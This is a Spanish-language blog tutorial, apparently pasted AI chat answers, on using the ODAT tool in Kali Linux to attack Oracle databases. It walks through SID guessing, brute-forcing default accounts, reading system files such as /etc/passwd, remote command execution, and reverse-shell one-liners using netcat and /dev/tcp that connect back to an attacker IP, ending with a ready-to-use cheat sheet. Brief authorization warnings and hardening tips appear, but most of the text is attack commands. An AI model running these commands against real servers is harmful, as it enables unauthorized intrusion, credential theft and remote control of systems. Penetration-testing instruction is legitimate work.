Kali Linux y ODAT en Español

 https://www.onlinetis.com/es/

Kali Linux y ODAT en Español

Entiendo que estás buscando información sobre Kali Linux, posiblemente con un enfoque en herramientas de red o auditoría (considerando el término "odat").

Si te refieres a la herramienta ODAT (Oracle Database Attacking Tool), es una de las más potentes incluidas o compatibles con Kali para realizar pruebas de penetración en bases de datos Oracle.

Aquí tienes un resumen rápido para que te pongas al día:


¿Qué es Kali Linux?

Kali es una distribución basada en Debian diseñada específicamente para la seguridad informática. No es un sistema operativo para uso diario (como ver pelis o escribir tareas), sino una "navaja suiza" para profesionales de ciberseguridad.

ODAT: Oracle Database Attacking Tool

ODAT es una herramienta de código abierto escrita en Python que permite enumerar y explotar vulnerabilidades en bases de datos Oracle. Es fundamental porque estas bases de datos suelen contener la información más crítica de una empresa.

¿Qué puedes hacer con ODAT?

  • Enumerar usuarios: Averiguar qué cuentas existen.

  • Ataques de fuerza bruta: Probar contraseñas comunes.

  • Subida/Descarga de archivos: Si tienes suficientes privilegios, puedes mover archivos al servidor.

  • Ejecución de comandos: Intentar ejecutar comandos del sistema operativo a través de la base de datos (escalada de privilegios).


Cómo empezar (Comandos básicos)

Si ya tienes Kali, usualmente puedes instalar o actualizar ODAT y sus dependencias de la siguiente manera:

  1. Instalación:

    sudo apt update && sudo apt install odat

  2. Escaneo básico (SID Guessing):

    Para saber el identificador de la base de datos:

    odat sidguesser -s <IP_del_servidor>

  3. Ataque de contraseñas:

    odat passwordguesser -s <IP_del_servidor> -d <SID> --accounts-file accounts.txt


Un par de consejos de "colega":

  • Entorno seguro: No pruebes ODAT en servidores ajenos sin autorización previa (es ilegal y te puedes meter en líos serios). Úsalo en entornos controlados como Hack The Box o TryHackMe.

  • Dependencias: A veces ODAT da guerra con las librerías de Oracle (instantclient). Asegúrate de tener configuradas las variables de entorno de Python correctamente.

 

Configurar el Oracle Instant Client es el paso donde casi todo el mundo se rinde porque es un poco tedioso, pero es vital para que las funciones avanzadas de ODAT (como la ejecución de comandos o la carga de archivos) funcionen.

Sigue estos pasos en tu terminal de Kali:


1. Descargar los paquetes necesarios

Oracle no permite la descarga directa por consola fácilmente, así que necesitas bajar los archivos .zip desde la página oficial de Oracle.

Necesitas estos dos (versión 19.x o 21.x recomendada):

  1. Instant Client Package - Basic (ej: instantclient-basic-linux.x64-21.1.0.0.0.zip)

  2. Instant Client Package - SDK (ej: instantclient-sdk-linux.x64-21.1.0.0.0.zip)

2. Preparar el directorio

Una vez descargados, abre tu terminal y muévelos a una carpeta organizada:

Bash
sudo mkdir -p /opt/oracle
sudo cp instantclient-*.zip /opt/oracle/
cd /opt/oracle
sudo unzip instantclient-basic-linux.x64-21.1.0.0.0.zip
sudo unzip instantclient-sdk-linux.x64-21.1.0.0.0.zip

(Esto creará una carpeta llamada instantclient_21_1 o similar).

3. Instalar dependencias de sistema

Para que Kali no se queje de archivos faltantes, instala libaio:

Bash
sudo apt update
sudo apt install libaio1 python3-dev build-essential

4. Configurar las Variables de Entorno

Este es el paso más importante. Necesitamos decirle a Kali dónde están las herramientas de Oracle. Edita tu archivo de configuración (si usas la terminal por defecto de Kali, es .zshrc):

  1. Abre el archivo: nano ~/.zshrc

  2. Ve al final del archivo y pega estas líneas (ajusta el nombre de la carpeta si es diferente):

Bash
export ORACLE_HOME=/opt/oracle/instantclient_21_1
export LD_LIBRARY_PATH=$ORACLE_HOME:$LD_LIBRARY_PATH
export PATH=$ORACLE_HOME:$PATH
  1. Guarda (Ctrl+O, Enter) y sal (Ctrl+X).

  2. Aplica los cambios: source ~/.zshrc

5. Instalar la librería para Python (cx_Oracle)

ODAT usa Python para hablar con Oracle, así que instalamos el "traductor":

Bash
pip3 install cx_Oracle

¿Cómo saber si funcionó?

Escribe odat -h en tu terminal. Si el menú de ayuda aparece sin errores de "Oracle client library not found", ¡estás listo para la acción!

 

Perfecto, ahora que el motor de ODAT tiene sus "piezas" (las librerías de Oracle) bien puestas, vamos a la acción.

El primer paso real en una auditoría de Oracle es el "Guessing" (adivinación). Oracle es un poco particular: para entrar no solo necesitas usuario y contraseña, también necesitas saber el SID (System ID) o el Service Name, que es básicamente el nombre de la instancia de la base de datos.

Aquí tienes la secuencia lógica de ataque con ODAT:


Paso 1: Localizar el SID (sidguesser)

Si no conoces el nombre de la base de datos, no puedes ni intentar el login. ODAT trae una lista de nombres comunes por defecto.

Bash
odat sidguesser -s <IP_DEL_SERVIDOR> -p 1521
  • -s: La IP del objetivo.

  • -p: El puerto (1521 es el estándar de Oracle).


Paso 2: Ataque de contraseñas (passwordguesser)

Una vez que tienes el SID (supongamos que es XE o ORCL), vamos a probar credenciales. Oracle es famoso por tener cuentas por defecto como SYS, SYSTEM, o SCOTT.

Bash
odat passwordguesser -s <IP_DEL_SERVIDOR> -p 1521 -d <SID_ENCONTRADO> --accounts-file accounts.txt

Tip de experto: ODAT ya viene con una lista interna, pero puedes usar --built-in-accounts para probar las más de 500 combinaciones de fábrica que suelen olvidar los administradores.


Paso 3: ¡Explotación! (El módulo utlfile)

Si logras entrar con un usuario que tenga permisos (como SYSDBA), aquí es donde se pone divertido. Puedes intentar leer archivos del sistema operativo (como el /etc/shadow en Linux o archivos de configuración).

Bash
odat utlfile -s <IP_DEL_SERVIDOR> -p 1521 -d <SID> -U <USER> -P <PASS> --sysdba --read "/etc/passwd"

Resumen de comandos útiles

MóduloFunción
tnscmdInformación del "Listener" (versión, configuración).
dbmsxminIntentar leer archivos XML o archivos del sistema.
externaltablePeligroso: Permite ejecutar comandos de sistema (RCE).

Un detalle importante:

Si al ejecutar estos comandos recibes un error tipo cx_Oracle.DatabaseError: DPI-1047, significa que el sistema aún no encuentra las librerías que configuramos antes. Suele arreglarse reiniciando la terminal o ejecutando sudo ldconfig.

 

¡Aquí es donde ODAT se convierte en una herramienta "mágica"! Si has conseguido credenciales (o has encontrado unas por defecto), el siguiente paso es intentar el RCE (Remote Code Execution).

En Oracle, esto no es tan directo como en otros sistemas, pero ODAT automatiza varios métodos. El más común y efectivo es usar External Tables.


Escenario: Ejecutar comandos de sistema (RCE)

Imagina que ya sabes que el usuario es sys, la contraseña es oracle y el SID es xe. Quieres saber quién eres en el sistema operativo (ejecutar whoami).

1. El comando maestro (externaltable)

Este módulo crea una "tabla temporal" que, en lugar de leer datos, ejecuta un script en el servidor:

Bash
odat externaltable -s <IP> -p 1521 -d xe -U sys -P oracle --sysdba --exec "whoami"
  • --sysdba: Indica que te conectas con privilegios de administrador (necesario para este módulo).

  • --exec: El comando que quieres que el servidor de base de datos ejecute.

2. Otros métodos de ejecución

Si el anterior falla por permisos, ODAT tiene "balas" de reserva:

  • Módulo dbms_scheduler: Usa el programador de tareas de Oracle para lanzar procesos.

    Bash
    odat dbms_scheduler -s <IP> -d xe -U sys -P oracle --sysdba --exec "nc -e /bin/sh <TU_IP> 4444"
    

    (Este ejemplo intentaría mandarte una Reverse Shell usando Netcat).

  • Módulo java: Si la base de datos tiene Java habilitado (muy común), puedes inyectar código Java para ejecutar comandos.


¿Cómo protegerse? (La parte ética)

Como experto en seguridad, si encuentras esto en una auditoría, tu recomendación debe ser:

  1. Principio de mínimo privilegio: No permitas que el servicio de Oracle corra como root o Administrator en el sistema operativo.

  2. Cambiar contraseñas por defecto: Es la vulnerabilidad número uno.

  3. Deshabilitar paquetes peligrosos: Si no se usan, desactiva DBMS_SCHEDULER o el soporte de Java dentro de la base de datos.


Último consejo: El Log de Oracle

Ten en cuenta que estas acciones dejan mucho rastro en los archivos alert.log de la base de datos. Un buen Administrador de Bases de Datos (DBA) verá que alguien ha estado creando tablas externas o tareas programadas raras.

 

Aquí tienes una "Chuleta" (Cheat Sheet) rápida con los comandos de ODAT que más vas a usar en el día a día de una auditoría.

Guárdala o cópiala en tus notas de Kali, porque te ahorrará mucho tiempo buscando en la ayuda de la herramienta.


🛠️ ODAT Cheat Sheet (Guía Rápida)

AcciónComando ODATNotas Clave
1. Buscar el SIDodat sidguesser -s <IP>El primer paso: sin SID no hay conexión.
2. Fuerza Brutaodat passwordguesser -s <IP> -d <SID> --built-in-accountsPrueba usuarios/passwords de fábrica de Oracle.
3. Leer Archivosodat utlfile -s <IP> -d <SID> -U <U> -P <P> --sysdba --read "/etc/passwd"Útil para extraer info del Sistema Operativo.
4. Ejecutar Comandosodat externaltable -s <IP> -d <SID> -U <U> -P <P> --sysdba --exec "id"El "Santo Grial": RCE (Ejecución remota).
5. Escalar privilegiosodat privesc -s <IP> -d <SID> -U <U> -P <P> --sysdbaIntenta subir de usuario normal a DBA.

💡 Tips Pro para que no falle:

  • El flag --sysdba: Úsalo siempre que creas que las credenciales son de administrador (como sys o system). Si no lo pones, muchas funciones de explotación fallarán aunque la contraseña sea correcta.

  • Puertos no estándar: Si el administrador cambió el puerto 1521, usa el flag -p <puerto> en todos los comandos.

  • Reverse Shell rápida: Si logras ejecución de comandos, intenta este "one-liner" para obtener el control total desde tu Kali (asegúrate de tener nc -lvnp 4444 escuchando):

    --exec "bash -i >& /dev/tcp/<TU_IP>/4444 0>&1"

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux